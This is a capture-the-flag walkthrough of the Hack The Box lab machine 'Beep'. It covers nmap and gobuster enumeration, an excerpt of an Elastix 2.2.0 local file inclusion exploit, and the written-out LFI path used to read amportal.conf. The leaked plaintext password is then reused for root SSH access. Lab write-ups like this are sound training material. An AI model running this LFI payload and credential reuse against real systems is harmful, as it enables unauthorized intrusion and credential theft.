

Beep

The first step of Pentesting is Reconnaissance but in this case we already know about the network IP hence we go forward with the next step which is Enumeration.

Used **Nmap** tool to enumerate and scan for open ports and services on the machine.

```
(kali㉿kali)-[~/HTB]
$ nmap -p- -sC -sV -A 10.129.1.226
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-13 21:18 EDT
Stats: 0:01:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 43.75% done; ETC: 21:20 (0:00:59 remaining)
Nmap scan report for 10.129.1.226
Host is up (0.012s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp?
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, E
80/tcp    open  http         Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.129.1.226/
110/tcp   open  pop3?
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2             111/tcp    rpcbind
|   100000   2             111/udp    rpcbind
|   100024   1             938/udp    status
|_  100024   1             941/tcp    status
143/tcp   open  imap?
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
```

```

443/tcp  open  ssl/http  Apache httpd 2.2.3 ((CentOS))
|_ssl-cert: Subject: commonName=localhost.localdomain/organizationName=So
|_Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_ssl-date: 2022-06-14T01:23:38+00:00; 0s from scanner time.
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-robots.txt: 1 disallowed entry
|_/
|_http-title: Elastix - Login page
941/tcp  open  status  1 (RPC #100024)
993/tcp  open  imaps?
995/tcp  open  pop3s?
3306/tcp  open  mysql?
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_mysql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
4190/tcp  open  sieve?
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax?
5038/tcp  open  asterisk  Asterisk Call Manager 1.1
10000/tcp open  http      MiniServ 1.570 (Webmin httpd)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: MiniServ/1.570
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Host: 127.0.0.1

```

There is a long list of open ports on the machine yet we will target on those which can easily be exploited which leads to port 80 which is a unsecured HTTP protocol and can be a high probability of getting attacked.

Used **Gobuster** tool to scan for available sub directories on the target website. Lets run it against a simple common.txt file which contains common sub-directories.

```
(kali@kali)-[~/HTB/Beep]
$ gobuster dir -u https://10.129.1.226 -w=/usr/share/dirb/wordlists/common.txt -k

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: https://10.129.1.226
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s

2022/06/13 22:11:03 Starting gobuster in directory enumeration mode

/.hta (Status: 403) [Size: 284]
/.htaccess (Status: 403) [Size: 289]
/.htpasswd (Status: 403) [Size: 289]
/admin (Status: 301) [Size: 313] [→ https://10.129.1.226/admin/]
/cgi-bin/ (Status: 403) [Size: 288]
/configs (Status: 301) [Size: 315] [→ https://10.129.1.226/configs/]
/favicon.ico (Status: 200) [Size: 894]
/help (Status: 301) [Size: 312] [→ https://10.129.1.226/help/]
/images (Status: 301) [Size: 314] [→ https://10.129.1.226/images/]
/index.php (Status: 200) [Size: 1785]
/lang (Status: 301) [Size: 312] [→ https://10.129.1.226/lang/]
/libs (Status: 301) [Size: 312] [→ https://10.129.1.226/libs/]
/mail (Status: 301) [Size: 312] [→ https://10.129.1.226/mail/]
/modules (Status: 301) [Size: 315] [→ https://10.129.1.226/modules/]
/panel (Status: 301) [Size: 313] [→ https://10.129.1.226/panel/]
/robots.txt (Status: 200) [Size: 28]
/static (Status: 301) [Size: 314] [→ https://10.129.1.226/static/]
/themes (Status: 301) [Size: 314] [→ https://10.129.1.226/themes/]
/var (Status: 301) [Size: 311] [→ https://10.129.1.226/var/]
```

With the above results, enumerated more on the website directories to find any exploitable vectors.

The robots.txt file doesn't give much information though.

```
← → ↻ 🏠 🔒 https://10.129.1.226/robots.txt

User-agent: *
Disallow: /
```

As looked more into vulnerabilities on the hosted website which is FreePBX. It seems to be vulnerable to LFI vulnerability.

```
← → ↻ 🏠 https://www.exploit-db.com/exploits/37637

# Author: cheki
# Version:Elastix 2.2.0
# Tested on: multiple
# CVE : notyet
# romanc_-eyes ;)
# Discovered by romanc_-eyes
# vendor http://www.elastix.org/

print "\t Elastix 2.2.0 LFI Exploit \n";
print "\t code author cheki  \n";
print "\t 0day Elastix 2.2.0  \n";
print "\t email: anonymous17hacker{}gmail.com \n";

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../../etc/amportal.conf%00&module=Accounts&action

use LWP::UserAgent;
print "\n Target: https://ip ";
chomp(mv $target=<STDIN>);
```

The presence of vtigercrm subdirectory helps to understand that this can be used to exploit the LFI vulnerability.

```
(kali㉿kali)~[~/HTB/Beep]
$ gobuster dir -u https://10.129.1.226 -w=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x php,html

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:             https://10.129.1.226
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:         /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:       gobuster/3.1.0
[+] Extensions:     php,html
[+] Timeout:         10s

2022/06/14 11:17:30 Starting gobuster in directory enumeration mode

/images      (Status: 301) [Size: 314] [→ https://10.129.1.226/images/]
/index.php   (Status: 200) [Size: 1785]
/help        (Status: 301) [Size: 312] [→ https://10.129.1.226/help/]
/register.php (Status: 200) [Size: 1785]
/themes      (Status: 301) [Size: 314] [→ https://10.129.1.226/themes/]
/modules     (Status: 301) [Size: 315] [→ https://10.129.1.226/modules/]
/mail        (Status: 301) [Size: 312] [→ https://10.129.1.226/mail/]
/admin       (Status: 301) [Size: 313] [→ https://10.129.1.226/admin/]
/static      (Status: 301) [Size: 314] [→ https://10.129.1.226/static/]
/lang        (Status: 301) [Size: 312] [→ https://10.129.1.226/lang/]
/config.php  (Status: 200) [Size: 1785]
/var         (Status: 301) [Size: 311] [→ https://10.129.1.226/var/]
/panel       (Status: 301) [Size: 313] [→ https://10.129.1.226/panel/]
/libs        (Status: 301) [Size: 312] [→ https://10.129.1.226/libs/]
/recordings  (Status: 301) [Size: 318] [→ https://10.129.1.226/recordings/]
/configs     (Status: 301) [Size: 315] [→ https://10.129.1.226/configs/]
/vtigercrm   (Status: 301) [Size: 317] [→ https://10.129.1.226/vtigercrm/]
```

There you go! Using the LFI vulnerability we are able to access the page which contains lots of sensitive information which includes Admin credentials of the PBX webserver.

```

# This file is part of FreePBX. # FreePBX is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published
License, or # (at your option) any later version. # FreePBX is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the impli
PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with
components of the Asterisk Management Portal # Spaces are not allowed! # Run /usr/src/AMP/apply_conf.sh after making changes to this file # FreePBX Database co
database resides # AMPDBENGINE: Engine hosting the FreePBX database (e.g. mysql) # AMPDBNAME: Name of the FreePBX database (e.g. asterisk) # AMPDBUSE
AMPDBPASS: Password for AMPDBUSER (above) # AMPENGINE: Telephony backend engine (e.g. asterisk) # AMPMGRUSER: Username to access the Asterisk Mana
AMPDBHOST=localhost AMPDBENGINE=mysql # AMPDBNAME=asterisk AMPDBUSER=asteriskuser # AMPDBPASS=amp109 AMPDBPASS=jEhdlekWmdjE AMPE?
#AMPMGRPASS=amp111 AMPMGRPASS=jEhdlekWmdjE # AMPBIN: Location of the FreePBX command line scripts # AMPSBIN: Location of (root) command line sc
# AMPWEBROOT=/var/www/html AMPCGIBIN=/var/www/cgi-bin # AMPWEBADDRESS=x.x.x.xhostname # FOPWEBROOT: Path to the Flash Operator Panel webroot (
performing transfers and hangups in the Flash Operator Panel # FOPRUN: Set to true if you want FOP started by freepbx engine (ampportal start), false otherwise # F
retrieve_conf. Useful for sqlite3 # or if you don't want FOP. # FOPRUN=true FOPWEBROOT=/var/www/html/panel #FOPPASSWORD=password FOPPASSWORD=jE
VALUE: extension # FOP should sort extensions by Last Name [lastname] or by Extension [extension] # This is the default admin name used to allow an administrator
you want, don't forget to change the ARI ADMIN PASSWORD as well ARI ADMIN USERNAME=admin # This is the default admin password to allow an administrator
password. ARI ADMIN PASSWORD=jEhdlekWmdjE # AUTHTYPE=database[none] # Authentication type to use for web administration. If type set to 'database', the
AMPDBUSER/AMPDBPASS above. AUTHTYPE=database # AMPADMINLOGO=filename # Defines the logo that is to be displayed at the TOP RIGHT of the admin scre
administration screen. # NOTE: images need to be saved in the .../admin/images directory of your AMP install # This image should be 55px in height AMPADMINLOG
VALUE: true # Controls if the menu items in the admin interface are sorted by category (true), or sorted # alphabetically with no categories shown (false). # AMPEXT
behavior in FreePBX. If set to 'extensions', Devices and Users are # administered together as a unified Extension, and appear on a single page. # If set to 'deviceandus
(e.g. # each individual line on a SIP phone) and Users (e.g. '101') will be configured # independent of each other, allowing association of one User to many Devices, or
AMPEXTENSIONS=extensions # ENABLECW=true/false ENABLECW=no # DEFAULT VALUE: true # Enable call waiting by default when an extension is created. Set
call waiting already enabled. The user would then be required # to dial the CW feature code (*70 default) to enable their phone. Most installations should leave # this
their line appearances. # CWINUSEBUSY=true/false # DEFAULT VALUE: true # For extensions that have CW enabled, report unanswered CW calls as 'busy' (resultin
calls simply report as 'no-answer'. # AMPBADNUMBER=true/false # DEFAULT VALUE: true # Generate the bad-number context which traps any bogus number or fea
Early Dial feature on some Grandstream phones, you # will want to set this to false. # AMPBACKUPSUDO=true/false # DEFAULT VALUE: false # This option allows y
AMPAPPROVROOT # Allows backup and restore of files specified in AMPAPPROVROOT, based on permissions in /etc/sudoers # for example, adding the following to sudoer
system: # asterisk localhost=(root)NOPASSWD:/bin/tar # Defaults:asterisk !frequency # PLEASE KEEP IN MIND THE SECURITY RISKS INVOLVED IN ALLOWING T
CUSTOMASERROR=true/false # DEFAULT VALUE: true # If false, then the Destination Registry will not report unknown destinations as errors. This should be # left t
the new custom apps registry. # DYNAMICHINTS=true/false # DEFAULT VALUE: false # If true, Core will not statically generate hints, but instead make a call to the
Asterisk's #exec call. This requires Asterisk.conf to be configured # with "execincludes=yes" set in the [options] section. # XTNCONFLICTABORT=true/false # BADDI
of these to true will result in retrieve_conf aborting during a reload if an extension # conflict is detected or a destination is detected. It is usually better to allow the re

```

Same creds will let us into the Admin portal of the website.

The same credentials also lets you get access to the SSH service on root privileges.

Logged in to SSH service with root credentials and got the flag.

```

(kali@kali) - [~/HTB/Beep]
$ ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss root@10.129.1.226
root@10.129.1.226's password:
Last login: Tue Sep 29 12:10:12 2020

Welcome to Elastix

To access your Elastix System, using a separate workstation (PC/MAC/Linux) are happening, and oHostKeyAlgorithms
Open the Internet Browser using the following URL:
http://10.129.1.226

[root@beep ~]# ID
-bash: ID: command not found
[root@beep ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@beep ~]#

[root@beep ~]# cat root.txt
f
[root@beep ~]#

```

